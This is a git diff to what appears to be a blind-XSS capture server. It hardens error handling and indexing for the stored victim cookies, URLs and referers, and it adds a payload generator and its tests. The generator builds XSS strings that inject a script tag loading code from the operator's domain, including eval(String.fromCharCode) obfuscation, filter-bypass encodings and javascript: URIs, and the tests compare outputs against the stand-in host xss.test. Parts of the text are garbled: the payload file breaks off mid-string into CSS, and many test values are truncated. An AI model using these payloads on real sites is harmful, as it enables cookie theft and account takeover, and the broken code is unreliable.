diff --git a/api.js b/api.js
index c2544ee..868c50a 100644
--- a/api.js
+++ b/api.js
@@ -209,6 +209,7 @@ async function set_up_api_server(app) {
}
}
app.delete(constants.API_BASE_PATH + 'payloadfires', validate({ body: DeletePayloadFiresSchema }), async (req, res) => {
+ try {
const ids_to_delete = req.body.ids;
// Pull the corresponding screenshot_ids from the DB so
@@ -222,11 +223,11 @@ async function set_up_api_server(app) {
},
attributes: ['id', 'screenshot_id']
});
- const screenshots_to_delete = screenshot_id_records.map(payload => {
- return `${SCREENSHOTS_DIR}/${payload.screenshot_id}.png.gz`;
- });
+ const screenshots_to_delete = screenshot_id_records
+ .filter(payload => payload.screenshot_id !== null)
+ .map(payload => `${SCREENSHOTS_DIR}/${payload.screenshot_id}.png.gz`);
await Promise.all(screenshots_to_delete.map(screenshot_path => {
- return asyncfs.unlink(screenshot_path);
+ return asyncfs.unlink(screenshot_path).catch(() => {});
}));
const payload_fires = await PayloadFireResults.destroy({
where: {
@@ -240,6 +241,10 @@ async function set_up_api_server(app) {
'success': true,
'result': {}
}).end();
+ } catch(e) {
+ console.error('Error deleting payload fires:', e);
+ res.status(500).json({ 'success': false, 'error': e.message }).end();
+ }
});
/*
diff --git a/app.js b/app.js
index 358a5e0..a4c067a 100644
--- a/app.js
+++ b/app.js
@@ -176,36 +176,39 @@ async function get_app_server() {
"status": "success"
}).end();
- // Multer stores the image in the /tmp/ dir. We use this source image
- // to write a gzipped version in the user-provided dir and then delete
- // the original uncompressed image.
- const payload_fire_image_id = uuid.v4();
- const payload_fire_image_filename = `${SCREENSHOTS_DIR}/${payload_fire_image_id}.png.gz`;
- const multer_temp_image_path = req.file.path;
-
- // We also gzip the image so we don't waste disk space
- const gzip = zlib.createGzip();
- const output_gzip_stream = fs.createWriteStream(payload_fire_image_filename);
- const input_read_stream = fs.createReadStream(multer_temp_image_path);
-
- // When the "finish" event is called we delete the original
- // uncompressed image file left behind by multer.
- input_read_stream.pipe(gzip).pipe(output_gzip_stream).on('finish', async (error) => {
- if(error) {
- console.error(`An error occurred while writing the XSS payload screenshot (gzipped) to disk:`);
- console.error(error);
- }
-
- console.log(`Gzip stream complete, deleting multer temp file: ${multer_temp_image_path}`);
-
- await asyncfs.unlink(multer_temp_image_path);
- });
+ // Screenshot is optional — the probe omits it when html2canvas fails
+ // (SVG-heavy pages, broken images, safety-timer fallback). Guard req.file
+ // so a missing screenshot doesn't crash the handler and lose all other data.
+ let payload_fire_image_id = null;
+ if (req.file) {
+ payload_fire_image_id = uuid.v4();
+ const payload_fire_image_filename = `${SCREENSHOTS_DIR}/${payload_fire_image_id}.png.gz`;
+ const multer_temp_image_path = req.file.path;
+
+ // We also gzip the image so we don't waste disk space
+ const gzip = zlib.createGzip();
+ const output_gzip_stream = fs.createWriteStream(payload_fire_image_filename);
+ const input_read_stream = fs.createReadStream(multer_temp_image_path);
+
+ // When the "finish" event is called we delete the original
+ // uncompressed image file left behind by multer.
+ input_read_stream.pipe(gzip).pipe(output_gzip_stream).on('finish', async (error) => {
+ if(error) {
+ console.error(`An error occurred while writing the XSS payload screenshot (gzipped) to disk:`);
+ console.error(error);
+ }
+
+ console.log(`Gzip stream complete, deleting multer temp file: ${multer_temp_image_path}`);
+
+ await asyncfs.unlink(multer_temp_image_path);
+ });
+ }
const payload_fire_id = uuid.v4();
var payload_fire_data = {
id: payload_fire_id,
url: req.body.uri,
- ip_address: req.connection.remoteAddress.toString(),
+ ip_address: (req.ip || req.connection.remoteAddress).toString(),
referer: req.body.referrer,
user_agent: req.body['user-agent'],
cookies: req.body.cookies,
@@ -230,13 +233,23 @@ async function get_app_server() {
payload_fire_data.correlated_request = correlated_request_rec.request;
}
- // Store payload fire results in the database
- const new_payload_fire_result = await PayloadFireResults.create(payload_fire_data);
-
- // Send out notification via configured notification channel
- if(process.env.SMTP_EMAIL_NOTIFICATIONS_ENABLED === "true") {
- payload_fire_data.screenshot_url = `https://${process.env.HOSTNAME}/screenshots/${payload_fire_data.screenshot_id}.png`;
- await notification.send_email_notification(payload_fire_data);
+ // The HTTP response has already been sent above, so this runs
+ // fire-and-forget. Any rejection here (e.g. a DB error) can't be
+ // surfaced to the client and would otherwise become an
+ // UnhandledPromiseRejection that can crash the process — so catch
+ // and log it instead.
+ try {
+ // Store payload fire results in the database
+ const new_payload_fire_result = await PayloadFireResults.create(payload_fire_data);
+
+ // Send out notification via configured notification channel
+ if(process.env.SMTP_EMAIL_NOTIFICATIONS_ENABLED === "true") {
+ payload_fire_data.screenshot_url = `https://${process.env.HOSTNAME}/screenshots/${payload_fire_data.screenshot_id}.png`;
+ await notification.send_email_notification(payload_fire_data);
+ }
+ } catch(error) {
+ console.error(`Failed to persist/notify XSS payload fire (id: ${payload_fire_id}):`);
+ console.error(error);
}
});
diff --git a/database.js b/database.js
index beacca4..402695c 100644
--- a/database.js
+++ b/database.js
@@ -156,50 +156,35 @@ PayloadFireResults.init({
}, {
sequelize,
modelName: 'payload_fire_results',
+ // NOTE: The unbounded free-text columns (url, referer, user_agent,
+ // cookies, title, origin) are intentionally NOT indexed. A Postgres
+ // btree index entry cannot exceed ~8191 bytes, and these columns hold
+ // unbounded attacker/victim-supplied data (a large cookie/referer/url
+ // would make the whole INSERT fail with "index row requires N bytes").
+ // Only fixed-size or bounded columns are indexed. If search-by-origin is
+ // ever needed, use a hash index (USING hash) rather than btree.
indexes: [
{
- unique: false,
- fields: ['url'],
- method: 'BTREE',
- },
- {
+ // Bounded (socket peer IP, ~45 chars max) and useful for
+ // correlating fires from the same source.
unique: false,
fields: ['ip_address'],
method: 'BTREE',
},
{
unique: false,
- fields: ['referer'],
- method: 'BTREE',
- },
- {
- unique: false,
- fields: ['user_agent'],
- method: 'BTREE',
- },
- {
- unique: false,
- fields: ['cookies'],
- method: 'BTREE',
- },
- {
- unique: false,
- fields: ['title'],
- method: 'BTREE',
- },
- {
- unique: false,
- fields: ['origin'],
+ fields: ['was_iframe'],
method: 'BTREE',
},
{
unique: false,
- fields: ['was_iframe'],
+ fields: ['browser_timestamp'],
method: 'BTREE',
},
{
+ // Used by the payload-fire list ordering (ORDER BY createdAt DESC).
unique: false,
- fields: ['browser_timestamp'],
+ fields: ['createdAt'],
method: 'BTREE',
}
]
diff --git a/front-end/src/libs/payloads.js b/front-end/src/libs/payloads.js
new file mode 100644
index 0000000..a4e75e3
--- /dev/null
+++ b/front-end/src/libs/payloads.js
@@ -0,0 +1,372 @@
+const utils = require('./utils.js');
+
+const html_encode = utils.html_encode;
+const urlsafe_base64_encode = utils.urlsafe_base64_encode;
+
+const CATEGORY_ATTRIBUTE_BREAKOUT = 'attribute_breakout';
+const CATEGORY_URI_BASED = 'uri_based';
+const CATEGORY_WAF_BYPASS = 'waf_bypass';
+const CATEGORY_DOM_BASED = 'dom_based';
+
+function js_attrib(base_domain) {
+ return 'var a=document.createElement("script");a.src="https://' + base_domain + '";document.body.appendChild(a);';
+}
+
+function b64_js(base_domain) {
+ return html_encode(urlsafe_base64_encode(js_attrib(base_domain)));
+}
+
+function case_mix(value) {
+ return value.split('').map((character, index) => {
+ return index % 2 === 0 ? character.toLowerCase() : character.toUpperCase();
+ }).join('');
+}
+
+function entity_encode(value) {
+ return value.split('').map((character) => {
+ return '' + character.charCodeAt(0) + ';';
+ }).join('');
+}
+
+function from_char_code(js) {
+ return 'eval(String.fromCharCode(' + js.split('').map((character) => {
+ return character.charCodeAt(0);
+ }).join(',') + '))';
+}
+
+const categories = [
+ { id: CATEGORY_ATTRIBUTE_BREAKOUT, label: 'Attribute Breakouts' },
+ { id: CATEGORY_URI_BASED, label: 'URI / Link-Based' },
+ { id: CATEGORY_WAF_BYPASS, label: 'WAF & Filter Bypass' },
+ { id: CATEGORY_DOM_BASED, label: 'DOM-Based' },
+ { id: 'all', label: 'All' },
+];
+
+const payloads = [
+ {
+ 'id': 'basic_script',
+ 'category': CATEGORY_ATTRIBUTE_BREAKOUT,
+ 'title': 'Basic <script> Tag Payload',
+ 'description': 'Classic payload',
+ 'func': function(base_domain) {
+ return "\">
\ No newline at end of file
+.payload-note {
+ color: #d3d3d7;
+ font-size: 0.9rem;
+}
+.payload-note-label {
+ font-weight: bold;
+}
+
diff --git a/front-end/test/payloads.test.js b/front-end/test/payloads.test.js
new file mode 100644
index 0000000..01d1ef6
--- /dev/null
+++ b/front-end/test/payloads.test.js
@@ -0,0 +1,137 @@
+const payloads_module = require('../src/libs/payloads.js');
+
+const DOMAIN = 'xss.test';
+const { payloads, categories, helpers } = payloads_module;
+
+const ALLOWED_CATEGORY_IDS = ['attribute_breakout', 'uri_based', 'waf_bypass', 'dom_based'];
+
+let passed = 0;
+
+function check(name, condition) {
+ if (!condition) {
+ throw new Error('FAILED: ' + name);
+ }
+ passed += 1;
+ console.log('ok - ' + name);
+}
+
+// Module shape
+check('module exports payloads array', Array.isArray(payloads));
+check('module exports categories array', Array.isArray(categories));
+check('module exports helpers', typeof helpers === 'object' && helpers !== null);
+
+// Categories
+check('categories have expected order', categories.map((c) => c.id).join(',') ===
+ 'attribute_breakout,uri_based,waf_bypass,dom_based,all');
+categories.forEach((category) => {
+ check('category ' + category.id + ' has label', typeof category.label === 'string' && category.label.length > 0);
+});
+
+// Every payload entry is complete
+payloads.forEach((payload) => {
+ const label = payload.id;
+ check(label + ' has id', typeof payload.id === 'string' && payload.id.length > 0);
+ check(label + ' has valid category', ALLOWED_CATEGORY_IDS.indexOf(payload.category) !== -1);
+ check(label + ' has title', typeof payload.title === 'string' && payload.title.length > 0);
+ check(label + ' has description', typeof payload.description === 'string' && payload.description.length > 0);
+ check(label + ' func returns string', typeof payload.func === 'function' && typeof payload.func(DOMAIN) === 'string');
+ check(label + ' has example', typeof payload.example === 'string' && payload.example.length > 0);
+ check(label + ' has caveats', typeof payload.caveats === 'string' && payload.caveats.length > 0);
+ check(label + ' has when', typeof payload.when === 'string' && payload.when.length > 0);
+});
+
+// Existing payloads preserved (golden values)
+const by_id = {};
+payloads.forEach((p) => { by_id[p.id] = p; });
+
+check('basic_script golden', by_id.basic_script.func(DOMAIN) ===
+ '">');
+check('jquery_chainload golden', by_id.jquery_chainload.func(DOMAIN) ===
+ '');
+check('xmlhttprequest_load golden', by_id.xmlhttprequest_load.func(DOMAIN) ===
+ '');
+check('javascript_uri golden', by_id.javascript_uri.func(DOMAIN) ===
+ "javascript:eval('var a=document.createElement(\\'script\\');a.src=\\'https://xss.test\\';document.body.appendChild(a)')");
+check('input_onfocus golden', by_id.input_onfocus.func(DOMAIN) ===
+ '">');
+check('image_onerror golden', by_id.image_onerror.func(DOMAIN) ===
+ '">
');
+check('video_source golden', by_id.video_source.func(DOMAIN) ===
+ '">